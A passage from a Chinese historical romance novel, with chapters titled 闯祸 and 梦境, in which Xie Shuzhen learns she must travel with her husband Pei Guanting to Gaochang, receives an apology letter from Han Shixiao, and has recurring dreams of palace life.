三人于院中穿行而过,到了正厅。
阿湖为她们沏上一壶槐花茶,递给她们二人,道:“若缮姑姑正在抄经,我这就去喊,姑姑们稍候片刻。”
谢姝真和辛夷纷纷点头称道:“好。”
不一会,若缮便从撼杉书斋匆匆赶来,行至她们二人面前。
谢姝真见她来了,立刻行大礼道:“三娘替辛夷,谢过若缮姑姑半月以来的照顾之恩。今日初见,我便要带辛夷归家了,还望姑姑准允。”
若缮回礼道:“贵人也是有缘人,不必多言。沈道长送辛夷来这观中之时,嘱咐过贫道,若是辛夷想走之时,自可让她离开这白云观。
今日,贫道也算是践诺。贫道观贵人眼熟,这有一物,要转交给贵人。”
说完,若缮掏出一枚用红绳拴住的铜钱,递给谢姝真。
谢姝真不明所以:“姑姑这是?”
“今日贵人能来观中,自不是一时兴起。此物,便是你要等的那人给贫道的。”
“姑姑怎知,我是来找这画中之人的?”谢姝真从袖中拿出来那幅画,攥在手中,不可置信道。
“你进门后,有善信告知贫道,说你持画等人,许久不见人影。贫道下山撞钟之时,偶遇了这画中之人,她嘱咐贫道将此物递给你。”
谢姝真急道:“姑姑可知晓此人去向?”
若缮摇了摇头:“不知,贫道见到她时,她也拿着画。把这东西转交给贫道后,用手指了指画上的人,让贫道交给这画中人。这画中人,正是贵人您的身影。”
谢姝真瞳孔一缩,心中大乱。
这背后之人,当真是好算计。
竟让人拿画前来相认。
谢姝真道:“多谢若缮姑姑。”
“贵人,有句话不知当讲不当讲?”若缮思虑良久,还是开口说道。
“但说无妨。”
“拜托贫道转交给您铜钱的那人,看穿着打扮,想来必然也是京中贵女。只是不知,是哪家的名门贵女。您有画像,回京一问便知。”
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“如此,三娘谢过若缮姑姑。”
“不必如此客气。”
若缮将她们主仆送下山,叮嘱道:“山中有大雾,贵人多加小心。”
谢姝真应了一声,道:“好。”
她伸出一只手,将辛夷拉上马,二人一同拜别若珊姑姑,纵马而去,往长安方向奔去。
一个半时辰后,谢姝真领着辛夷到了瀚海堂。
刚一进门,谢姝真就看着裴观廷冷着一张脸坐在榻上,问道:“去哪里了,三娘?今日下朝后不见三娘,倒是让为夫很是担心。”
谢姝真上去搂着裴观廷的胳膊,眼睛一眨不眨地望着他:“妾适才在人牙子那买了个女奴,见她也懂礼数,便想让她侍奉我。这就买回来了,她人在屋外候着。”
“怎么,三娘是不喜欢阿娘送来的婢女吗?可是她们不听你话,不肯按你的规矩来?”裴观廷正视谢姝真,厉声道。
“当然不是,君姑送来的婢女自然是极好的。只不过,妾今日看着这女奴有缘,这才买下她。”谢姝真反驳道。
谢姝真其实很想说裴夫人送来的婢女根本不是为了照顾她的,是为了给她添堵的。
一个两个的,明面上不好拂了裴夫人的面子,等过几日她闲下来,定要让这几个人好看。
偷偷说闲话就算了,还故意让她听见。她也是这些人能招惹得起的?
谢姝真看着裴观廷,裴观廷的视线从她的那双清丽的眸子移向金项圈上的海蓝宝石。
海蓝宝石在太阳的照耀下熠熠生辉,惹得裴观廷有些睁不开眼。
裴观廷本欲再说几句,但此时,谢姝真却伸出了纤纤玉指堵住了他的唇。
一下子,裴观廷便一句话也说不出来了。
没办法,他自嘲道:谁让自己就喜欢谢姝真这样呢?她一嗔怒,自己便什么也不在乎了。
罢了罢了,不说这些了。
裴观廷只好应下了,谢姝真忙招呼辛夷进门,为他介绍,“这就是辛夷。”
辛夷躬身一礼道:“奴见过三娘子,郎君。”
裴观廷见辛夷行过礼后,道:“好好伺候夫人,这没你事了,退下吧。”
说罢,裴观廷挥手让辛夷离开。
屋内就只剩他们夫妻二人。
裴观廷脸上这才有了些许笑容,他拉起谢姝真的手,神秘兮兮道:“三娘,还记得几日前我同你说,圣上要我护送高昌特使吗?”
“记得啊,你不是说要去许久,还说不一定是你吗?怎么,这又是你去了?”
“非也,是三娘与我同去。”裴观廷自豪道。
谢姝真把手一把从裴观廷的掌中抽出:“你说什么?同去!”
“圣上特许让新妇同去,你可喜欢?”裴观廷盯着谢姝真,发问道。
谢姝真此刻恨不得发疯,高昌远在西域,从长安过去,最少也要几月有余。
她还要追查家人的下落,真是……
偏偏裴观廷还问她喜不喜欢,谢姝真只想说一句:其实不必如此。
想归想,她也没全盘托出,只旁敲侧击地问道:“圣上怎会同意此事?”
“自然是我亲自去求的,这样,我与三娘便可不再忍受分离之苦。”裴观廷笑意盈盈,谢姝真却面无血色。
真是,几家欢喜几家愁。
谢姝真心中郁结,痛苦地想着:早知道裴观廷当时说要去高昌的时候,自己就不一直追问他了,非要让他带正宗的胡饼回来吃。
弄得他以为自己很希望与他同去西域一样。现在好了,真的要去西域了。
其实裴观廷不在府中,自己的日子应该会过得蛮潇洒。
可惜,没有如果……
11. 闯祸
裴观廷看谢姝真一言不发,还以为她是高兴坏了:“三娘,需得快些收拾东西,不日便要启程了。”
谢姝真只恨不得能扒了裴观廷的皮,她一手紧紧攥裙,皮笑肉不笑道:“裴郎如此用心,当真是难得。”
裴观廷挠了挠头,不好意思道:“三娘,这事还得多亏了世骁兄,要不是他,某定然不知还可以恳求圣上,让三娘同去。”
“韩世骁,可是三嫂嫂的那位兄长?”谢姝真询问道。
“不错,正是此人。”裴观廷将发冠摘下放在小桌的一旁,回道。
谢姝真眸中怒火更甚,一字一顿道:“那你可真是得,好好感谢世骁兄。”
裴观廷语气轻松:“三娘不必忧心,今日他来府中探望三嫂,定然能多得照拂。”
韩世骁坐在二妹韩世萤的房中打了一个喷嚏,他揉了揉鼻子,不解道:“怎么回事,哪个仁兄在念我?这都下朝了,还对某念念不忘,不好不好。”
韩世萤端坐在梨花木制成的矮凳上,闻言,她拿起一块茶团,将其小心掰下。
接着,韩世萤又点燃小炭炉,将掰好的小块茶团放入银制的支架之上,用明火烘烤。
屋里顿时飘起茶香,韩世骁嗅了嗅,问道:“二妹,煮的是什么茶,怎么这么好闻?”
韩世萤俏皮地眨眨眼,道:“是寿州黄芽茶,我又放了些西域的香料。”
韩世骁一愣,旋即道:“陆羽的《茶经》一书中讲到,西域香料放入茶中,品茶之时,会盖过原有茶的清香之气。你倒是不同。”
“大哥,这有何不同。只是因为,我做的这茶,是药茶。若是寻常的茶,我定然不会放胡椒。”韩世萤解释道。
说罢,她给韩世骁沏了一杯,委婉劝解道:“阿兄,我知你不喜欢吃药。春寒乍暖,气候不定,总归是要预防些。
你虽是武将,却也不能不管不顾,不在意自己的身子,对不对?”
韩世萤将茶杯递了过去,韩世骁见躲不过了,这才接过,一饮而尽。
他道:“二妹是发达了,这茶里还放胡椒了。”
“阿兄少开我玩笑,这是特意为你驱寒做的,别不领情。”韩世萤嗔怪道。
“好好好,不说这些了。这都是二妹的一番心意,我喝,我多多的喝。”
韩世萤的脸上这才有了些许笑容,对她大哥,她总是有着无尽的担忧。
阿兄从五岁起,便随阿耶习武,勤勉上进,年纪轻轻便中了武举人,至此一路升迁,在朝中为官。
可惜,阿兄他性子倔,还有他这头脑,委实是令人捉摸不透……
好在,诸多同僚,唯有裴观廷和他走得近。
仔细想来,和裴观廷在一处,应该也酿不成什么大错。
裴观廷自小便是懂礼节、品行端庄之人,唯有在娶妻一事上,倒显得有些任性而为。
罢了,不去想这些了,都是徒增烦恼。
韩世骁喝着茶,悠悠开口道:“二妹,几日后是阿娘寿辰,你要是有心,记得早早带你家郎君回府祝寿。”
“知道了,大哥。这你放心,三郎一定同我早早归家。”
韩世骁咽下最后一口茶,感慨道:“裴观廷不日便要去高昌了,你这胡椒,日后都可管够了。”
“阿兄怎知此事?几日前用膳时,裴观廷确实说了这事。
只不过,他是说不知近日会不会出使高昌。
怎么,现下这是定下来了?”韩世萤反问道。
韩世骁颔首,语气肯定:“今日,大殿之上,圣人亲口许诺,准他和新妇同去高昌。我可在一旁听的清清楚楚,想必很快制书便可到裴府。
到时,便是名正言顺出使高昌的特使,定能建功立业。”
韩世萤听闻韩世骁讲的前半句,当即变了脸色:“你说,三娘要与他同去高昌,还是圣上准允,裴观廷亲自去求的?”
“是啊,二妹你问这个做什么。他本不想接这差事,恐与新妇分离。
但我同他说,出使高昌,可求圣人准允新妇同去。这样夫妻二人,自不会受离别之苦。怎么样,我这主意好不好?”
韩世萤悬着的心还是沉到了谷底,刚刚还说阿兄同裴观廷一起,定然不能闯出大祸。
如今,到真真让她刮目相看。阿兄这脑子,倒是转得忒快!
她“唰”地一下站了起来,因动作太快,又差点晕倒。
韩世萤用手撑着桌,缓了缓后,这才堪堪说出一句话:“阿兄,你真是的……你对绪娘嫂嫂,也是如此吗?”
韩世骁一头雾水,道:“二妹,你这是何意?此事与绪娘何干,怎么还要和绪娘还扯上关系。”
“阿兄,你有所不知。裴观廷新妇——三娘她……”
韩世萤欲言又止,吞吞吐吐。
韩世骁急道:“你说啊,二妹,话可不能说一半。”
韩世萤长叹了一口气,终是下定决心:“若我没记错的话,前日还是昨日,他们二人刚闹完别扭。
那日卧佛寺归家后,我都没见着裴观廷去用膳。
三娘和君姑说是裴观廷早早睡下了,但那怎么可能?
裴观廷你还不知道吗?每日处理事务,睡得比狗还晚。
这分明是二人有了口角,君姑也睁一只眼闭一只眼了。
你这时候去说让他们同去高昌,还不知道会怎么样呢?
况且,阿兄你把事情想的太简单了。高昌远在西域,长安过去要几月有余。
三娘她身子不好,舟车劳顿,万一让她累着,这岂不是你的罪过?
你怎能,同裴观廷出这个馊主意。”
韩世骁才反应过来,原来自己,又做了这么一件蠢事。
还以为这是个好主意,倒是自己又欠考虑了。
怪不得刚才一直打喷嚏,想来定然是招人埋怨了。
他起身便要向外走,却被韩世萤喊住:“大哥,你去哪?你该不会是要去找裴观廷,说这事是你不对,让他别让三娘同去了?”
韩世骁停下脚步,转过身来,望着韩世萤:“二妹觉得,这样不妥?”
“岂止是不妥,裴观廷既然已经向圣上开口,就证明他也是认可了你说的话。
圣上金口玉言,一言既出,驷马难追。圣人准允新妇同去,此时不去,岂不是抗旨不尊?
你这时候去和裴观廷讲,反倒惹人生气,他也绝不会同意。”
“那依二妹之见,该如何是好?”韩世骁也不着急了,索性跨过门槛,坐回到矮凳上。
韩世萤将门掩好,悄声道:“大哥,你这也算是好心办坏事。好
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在,三娘是个好相处的人。
那日,在去卧佛寺上香的途中,我曾出面替她解围。
今日,我亲自替你登门赔礼,不奢求三娘她能原谅,倒也要让三娘知道你不是故意为之。”
韩世骁闻言,从腰上摘下那鸳鸯荷包,将里面的银两全部拿出,放在桌上,道:“好,那就依二妹所言。阿兄给你留着银子,你要买什么,就买什么,一定要替我好好说与三娘。
好妹妹,若不是我是外男,身份不便,我定然亲自前去。你定要记得替大哥好好赔个不是,别让三娘往心里去。
这样这样,我亲自写一封信,你替我交给三娘,当面念出。”
说罢,他又吩咐道:“何樊,去拿笔墨来。”
韩世萤见他态度诚恳,便也暗暗祈祷,希望三娘能够稍稍理解些,多少平息下怒火。
这边正准备写着信赔礼道歉,却听闻府外马蹄声传来,遥遥见着刘内侍策马而来,行至裴府门口,下马进门。
小乙连忙跑去通禀,一炷香的时间不到,裴府众人便全都等在了正厅。
见人齐后,刘内侍开始宣读制书:“门下,天下之本。诏鸿胪寺少卿裴观廷,于隆兴七年四月十六,出访高昌国。隆兴七年四月初十,制可。”
裴观廷双膝跪地,高举双手,接过制书:“臣裴观廷,领旨谢恩。”
刘内侍将裴观廷扶起,眼里全是笑意:“裴少卿,此去高昌路途艰难,还望少卿早做准备。”
“是,多谢刘内侍。”
谢姝真跪在人群中,大有隐匿其中之意,她早就料到制书会来,没想到会这么早。
刘内侍走后,众人四散离去,唯有谢姝真还跪着,久久缓不过神来。
看来高昌,是不得不去了。
裴观廷转头一看,见谢姝真还不起身,便伸手将她从冰凉的地上扶起,道:“三娘,怎么了?”
谢姝真摇摇头:“无妨,还未用膳,有些累了。”
“三娘,往后不可如此,每日饭菜不可耽误。我这就让人去小厨房做几道你爱吃的,来人。”
说罢,裴观廷用不容置喙地语气吩咐下去。
“让小厨房做莲藕丸子汤、松仁玉米、炙烤明虾。”裴观廷一连报了三个菜名。
谢姝真伸手打断了裴观廷的话:“裴郎,现下没有胃口,还是扶我回屋,让我稍作歇息。”
裴观廷忙道:“好,三娘,你先休息,我一会着人做酥山,给你拿去。”
谢姝真婉拒道:“裴郎,不必了,天不好,今日不想吃这些寒凉的。”
“好,好,那就不吃。换别的,核桃酥可好?”
谢姝真淡淡道:“随你,我要休息了。”
说完,她甩开了裴观廷的手,往瀚海堂走去。
也不知自己为什么这么难受,许是思虑过多。还是,有别的事烦心?
她也不知道。
谢姝真想着:罢了,左不过是去高昌一趟,还能翻天了不成。制书已下,断不能更改。虽没明说要她同去,可圣上金口玉言,自不会更改。
那就祈求去这高昌的路上,平安顺遂,康健无忧。
望,早知阿耶、阿娘、阿姊们的下落。
谢姝真脚下生风,边想边走,很快便回了瀚海堂,和衣而卧。
12. 梦境
一连几日,谢姝真每日都睡得不安稳。许是知晓要出访高昌后,她便开始日日惊梦。
依旧是那个古怪的梦,只不过这次,梦里的她,过得极好。
不同与那个噩梦,这次的梦境似乎是她刚入宫的时候。一身华服,头戴凤钗,正对着铜镜整理着鬓发。
梳妆台上,依照她的喜好,摆青绿色的花瓶。
那花瓶里的牡丹一看就是被人精心侍奉着的,花瓣饱满有力,闻起来还有一股淡淡的清香。
她忍不住对着那花嗅了嗅,却听到了远处传来一阵悉悉索索的脚步声。
婢女斓儿在旁说道:“娘娘,陛下来了。”
“知道了,退下吧。”
不必说,她便也知道是谁。
自然是她当时的夫君,那个说一不二的圣上。
随着脚步声越来越近,铜镜里浮现出那人的身影。
老样子,看不清脸。
谢姝真怒极反笑,心中默默道:每次都不让人看脸,怎么,遮住才能继续做这个梦吗?
他到底是不是丑八怪啊,就算是梦,梦里的我也不要喜欢这样一个人。
不可能,绝不可能。
如果他真的太丑的话,还是别做这个梦了,下次做梦可以换成话本子里提到过的玉面少年比较好。
但是很快,她就知道自己还是太天真了。许是知道她在想些什么,片刻后,谢姝真便看到了那男子的身影。
仅凭一个模糊的身形,谢姝真便也知道,这人长得应该是不错。
不是丑八怪,老天总算没有薄待她。
那男子身着白衣圆领袍,袍子上面是银线绣着的仙鹤图样暗纹,袖口处则不同,上面绣着竹叶,在光的映照下一一显露出来。
身量修长,身高八尺有余,走起路来,腰上挂着的那枚青色的蛇尾玉佩也只是微微晃动。
谢姝真在心里点评道:不错,仪态端正,有点意思。
那人走到她身后,站定,缓缓开口道:“愿娘,你可愿意今日随我同去卧佛寺?”
“今日我只愿意去后花园荡秋千,后日你再提去卧佛寺的事,说不定那时,我就答应你了。”她摇头拒绝道。
那男子竟也不生气,拉起她的手,语气宠溺道:“无妨,那就去荡秋千。愿娘想做什么,便做什么。”
在这梦里,她又恢复了以往的性子,娇蛮任性,随心所欲。
好久都没这么快活了,她正想去后花园看看长什么样,顺便再去玩荡秋千。
谢姝真往后花园方向走去,突然觉得身上好冷。
她忍不住揉了揉鼻子,念叨着:这怎么忽然来了这么大一阵风。
寒风吹得她有些醒了。
谢姝真睁开眼,见着眼前屋子的布置,才稍稍回过神来,是瀚海堂。
她起身下床,去了贵妃塌上靠着软枕。
裴观廷感受到枕边人的气息似是不在,立刻醒了。
他自来浅眠,睡得极轻。未娶新妇前,不说彻夜难眠,便也是睡得不安,辗转反侧。
自从他遇见了谢姝真,以后的每日便都能安稳地睡下。
心爱之人就在身旁,换做任何一个人,都可安眠。
他也不外如是,每日同谢姝真待在一处,倒也让他这个古板的人变得有些不同。
环视一圈,他见谢姝真坐在了榻上,一言不发。
裴观廷便走下床去,拿来了一件披风披在她的肩上。
裴观廷为她揉着太阳穴,安抚道:“做噩梦了?三娘。”
谢姝真手指冰凉,回道:“没有,就是做了一个古怪的梦。”
裴观廷握着她的手,肯定道:“说来听听,三娘。”
“还是不了,这梦怪得很,别再牵扯上旁人了。左不过是一些前尘往事,做不得数。裴郎不用忧心,这梦自我落水后便常梦着。”
“你既不愿说,我便不问了。哪日,若你想说,都可说与我听。”
谢姝真颔首道:“好,裴郎。”
经过这一遭,谢姝真也一直在想这梦里的事。
她不明白,原来伉俪情深的二人,是怎么成了那副模样?
她怎么会在最后是郁郁而终……
她想不通,索性也不再想了。
裴观廷见她这几日吃不下饭,日日都是惴惴不安的样子,实在是担忧不已。
每次他和谢姝真提要着人看病,谢姝真总是摇头,说是老毛病。
裴观廷也不顾上什么了,决定先斩后奏,这不,请来了楼太医为她诊治。
按理说楼太医不该来裴府,但他架不住裴观廷的软磨硬泡,最终还是没办法,来了裴府。
谢姝真斜靠在美人榻上,紧蹙着眉,见裴观廷带着太医来了,也不好拂了他的面子。
遂听从楼太医的话,将手腕递了出去,道:“有劳太医。”
楼太医将一块手帕覆在谢姝真的手腕上,摸脉道:“不用谢老夫,多亏了裴郎君,否则老夫是不会来的。”
良久,楼太医叹息一声。
裴观廷神色紧张,见状,立刻问道:“如何?楼太医。”
裴观廷默默祈祷着,保佑三娘定要平安无事,否则他真的会怪自己。实在是太不小心了,没照看好三娘,连楼太医都叹气。
楼太医这才说道:“夫人心中郁结,气血不顺,且有旧伤在身,难怪会寝食难安。这样,老夫为夫人开副药方,按时服药,不出三月,夫人定会转好。”
裴观廷连连道:“多谢楼太医!太医恩情似海,裴某没齿难忘。”
楼太医摇摇头,摆了摆手:“不必了,裴郎君,照顾好夫人,就算是帮老夫忙了。”
“好,我定然上心,这药裴某必然亲自去煎。”
“好,那老夫就先告辞了。裴郎君,裴夫人,老夫先行一步。”说罢,楼太医缓缓行过一礼,起身出门了。
谢姝真从榻上起身,裴观廷回过头来,制止了她的动作,道:“你养着,不可乱动。”
接着,他便紧跟在楼太医身后,送其出府。
楼太医上了马车,掀起帘子:“不必送了,裴郎君。老夫多说一句,听闻裴郎君不日便要出访高昌,高昌气候干燥,吃食也与长安大不相同。
一路上,恐裴夫人不适应,郎君定然需要好生照看。若还有不明之处,随时写信来问。”
“是,多谢太医。”
裴观廷挥手与楼太医告别,见楼太医的马车已经看不见影子了,这才堪堪放下手。
韩世萤不知道从哪冒了出来,拍了拍裴观廷的肩:“五弟,我有事同你说。”
裴观廷这才回神,见是三嫂,忙道:“见过三嫂,三嫂何事?”
韩世萤清了清
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嗓子,为难道:“我要见三娘,适才听楼太医说三娘身子不好,不知现下可还方便让我见一见?我有话要同她说。”
“三嫂严重了,三娘现在无碍,三嫂随我来。”
二人很快就到了瀚海堂,韩世萤将裴观廷推出了门外:“有些体己话说与三娘听,你先忙去。”
“好。”裴观廷点头应下了。
他表示理解,女儿家,总有一些他不方便听的。
裴观廷索性去花园浇花去了。
韩世萤见着他走了,这才看向谢姝真,不好意思道:“三娘,我今日来,想必你也猜到了来意。
我是来替二哥向你赔不是的,这是二哥亲自写的道歉信,我念与你听。”
韩世萤生怕谢姝真拒绝,也不敢再看她脸上的表情,不等谢姝真说话,韩世萤火速将信展开,读道:“姝真贤妹,妆次。
见信如晤。
愚兄韩世骁,在这给贤妹赔不是了。那日于朝堂之上,不明事情原委,便同裴兄出了这个主意,连累了三娘。
今日,随信附上茯苓膏一盒、金莲蓬一朵,还望贤妹海涵,宽恕愚兄一回。
此后,某绝不多言,不再插手裴兄家中之事。
愚兄韩世骁手书。”
韩世萤将信折起,与东西一同递给谢姝真,道:“三娘,二哥说他对不住你,还望你多包涵。
我也知道此事是二哥的错,还请三娘念在我的薄面上,饶恕他一回。
我已经训斥过兄长了,以后他绝不会如此。”
谢姝真从韩世萤手中接过这些东西,道:“三嫂折煞我了,此事难全,兄长已经道过歉,三娘也不是不知礼数之人。三嫂不必如此,我断不会苛责兄长。”
韩世萤听闻谢姝真这么说,面上一喜:“当真?三娘不生气了?”
“说完全不生气,也是诓你。但,兄长既然已经诚心诚意地道歉了,我自然不会追究。”谢姝真轻咳一声,轻声说道。
“我这几日总是做梦,身子不太好,三嫂别往心里去。”
“怎么会,适才听五弟和楼太医说,你是心中郁结,加上有旧伤在身,才会如此。
我也知晓去高昌路途遥远,困难重重。因此,我这特意找了熟人,在这路上照顾你。”
谢姝真听后,面色凝重,疑惑道:“三嫂,怎么还特意托人来照顾我。”
韩世萤完全没听出来谢姝真的不解,她沉浸其中:“是啊,是啊。我跟你说,这人是我远房表弟,叫郑淮安,还是五弟手下的人。
好像任职什么来着,译语人?”韩世萤食指轻轻敲桌,思考着。
半晌,她才想起,接着说道:“对对对,就是译语人,会说高昌那边的话。
可惜就是,他平日里不爱露脸,都戴着面具。
三娘你啊,不要把他当外人。尽情指挥他就成,我都嘱咐过他了。”
谢姝真虽不知三嫂为何要托人照顾自己,许是因为楼太医说得比较严重?
但她感觉还没那么差,除了有些畏寒,经常做梦外。
好吧,可能这在三嫂眼里也不算好。
思及此处,谢姝真念在韩世萤一片苦心的份上,还是乖巧谢过:“好,那就麻烦三嫂了。”
韩世萤面上这才有了浮现了些笑容:“一家人,三娘不用客气。你好好养身体,我就放心了。”